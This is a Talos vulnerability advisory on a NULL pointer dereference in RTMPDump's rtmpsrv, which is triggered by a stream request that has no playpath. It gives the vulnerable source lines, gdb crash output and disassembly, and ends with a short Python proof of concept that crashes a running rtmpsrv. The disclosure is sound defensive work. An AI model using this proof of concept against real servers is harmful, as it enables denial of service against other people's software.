Talos Vulnerability Report

TALOS-2016-0068

RTMPDump rtmpsrv PlayPath Null Pointer Dereference

January 7, 2016

Description

A vulnerability exists in rtmpsrv in which an attacker can entice a user to utilize rtmpsrv to save an RTMP media stream that is missing a playpath. This leads to a NULL pointer dereference, crashing the program.

Tested Versions

RTMPDump 2.4
librtmp 1.0

Details

rtmpsrv is a stub for a server; it logs the connect and play parameters from a regular client that connects to it. It then invokes rtmpdump with those parameters to retrieve the stream. This is often used in conjunction with IPTables to intercept RTMP streams viewed online and dumping the stream to a local file for viewing at another time.

Vulnerability Details

Playpath is retrieved from stream and not validated

  597       AMFProp_GetString(AMF_GetProp(&obj, NULL, 3), &r->Link.playpath);

If the playpath is null, the pointer to the playpath is dereferenced when attempting to remove the leading slash, leading to a NULL pointer dereference

  692       /* strip leading slash components */
  693       for (p=av.av_val+av.av_len-1; p>=av.av_val; p--)
  694         if (*p == '/')
  695           {
  696         p++;
  697         av.av_len -= p - av.av_val;
  698         av.av_val = p;
  699         break;
  700           }

Crash Information

  Program received signal SIGSEGV, Segmentation fault.
  [Switching to Thread 0x7ffff62f0700 (LWP 3961)]
  0x0000000000403c47 in ServeInvoke (server=0x607130, r=0x7ffff00008c0, packet=0x7ffff62efe90, offset=0) at rtmpsrv.c:694

  >>> where
  #0  0x0000000000403c47 in ServeInvoke (server=0x607130, r=0x7ffff00008c0, packet=0x7ffff62efe90, offset=0) at rtmpsrv.c:694
  #1  0x000000000040413b in ServePacket (server=0x607130, r=0x7ffff00008c0, packet=0x7ffff62efe90) at rtmpsrv.c:835
  #2  0x00000000004043c7 in doServe (server=0x607130, sockfd=4) at rtmpsrv.c:917
  #3  0x00000000004045b3 in serverThread (arg=0x607130) at rtmpsrv.c:974
  #4  0x00007ffff7bc54a4 in start_thread (arg=0x7ffff62f0700) at pthread_create.c:334
  #5  0x00007ffff6ddf13d in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:109

  >>> p/x p
  $1 = 0xffffffffffffffff

  >>> p/s *r
  $2 = {
  [snip]
      tcUrl = {
            av_val = 0x7ffff00e4f8c "rtmp://127.0.0.1/blah",
            av_len = 21
          },
  [snip]
         app = {
            av_val = 0x7ffff00e4f7e "blah",
            av_len = 4
          },
  [snip]
      playpath = {
        av_val = 0x0,
        av_len = 0
      },
  [snip]
  }

Disassembly

     0x0000000000403c3d <+4662>:  mov    QWORD PTR [rbp-0x20],rax
     0x0000000000403c41 <+4666>:  jmp    0x403c89 <ServeInvoke+4738>
     0x0000000000403c43 <+4668>:  mov    rax,QWORD PTR [rbp-0x20]
  => 0x0000000000403c47 <+4672>:  movzx  eax,BYTE PTR [rax]
     0x0000000000403c4a <+4675>:  cmp    al,0x2f

  >>> p/x $rax
  $3 = 0xffffffffffffffff

Exploit Proof-of-Concept

Start rtmpsrv:

  user@host $ ./rtmpsrv
  RTMP Server v2.4
  (c) 2010 Andrej Stepanchuk, Howard Chu; license: GPL

  Streaming on rtmp://0.0.0.0:1935

Request a stream with the following using python-librtmp http://pythonhosted.org/python-librtmp/

  #! /usr/bin/python
  import librtmp

  # a normal uri would look like:
  # "RTMP://127.0.0.1/<app>/<playpath>"
  c = librtmp.RTMP("rtmp://127.0.0.1/blah")

  # the app path is not required, this works as well
  c = librtmp.RTMP("rtmp://127.0.0.1")

  c.connect()
  stream = c.create_stream()

Credit

Discovered by Dave McDaniel of Cisco Talos.